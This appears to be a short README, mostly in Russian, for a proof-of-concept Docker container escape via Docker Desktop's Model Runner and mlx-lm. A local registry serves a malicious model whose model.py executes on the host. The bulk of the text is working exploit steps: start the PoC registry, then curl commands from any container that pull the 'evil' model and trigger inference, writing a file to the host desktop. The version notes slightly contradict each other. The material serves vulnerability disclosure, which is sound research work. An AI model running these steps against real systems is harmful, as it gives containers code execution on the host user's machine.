
PoC побега из Docker-контейнера через mlx-metal importlib
Минимальный OCI-реестр, который раздаёт вредоносную модель для эксплуатации пути выполнения importlib через model_file в mlx-lm. Когда Docker Model Runner загружает модель для инференса, model.py выполняется на хосте от имени вошедшего в систему пользователя.
Требуется: Docker Desktop ≤ 4.70.x (Apple Silicon) с включённым Model Runner
# 1. Start the registry on the host
python3 poc_cve_2026_5843.py
# 2. From any container on the Docker network
docker run -it --rm curlimages/curl sh
curl -X POST http://model-runner.docker.internal/api/pull \
-H 'Content-Type: application/json' \
-d '{"name":"localhost:5555/evil/model:latest"}'
curl --max-time 120 -X POST http://model-runner.docker.internal/engines/mlx/v1/chat/completions \
-H 'Content-Type: application/json' \
-d '{"model":"localhost:5555/evil/model:latest","messages":[{"role":"user","content":"hi"}]}'
Результат записывается в ~/Desktop/mlx.txt на хосте.
Полное описание: https://davidrochester.com/posts/container-escape-via-inference
trust_remote_code=True, та же поверхность атаки, исправлено в Docker Desktop 4.68.0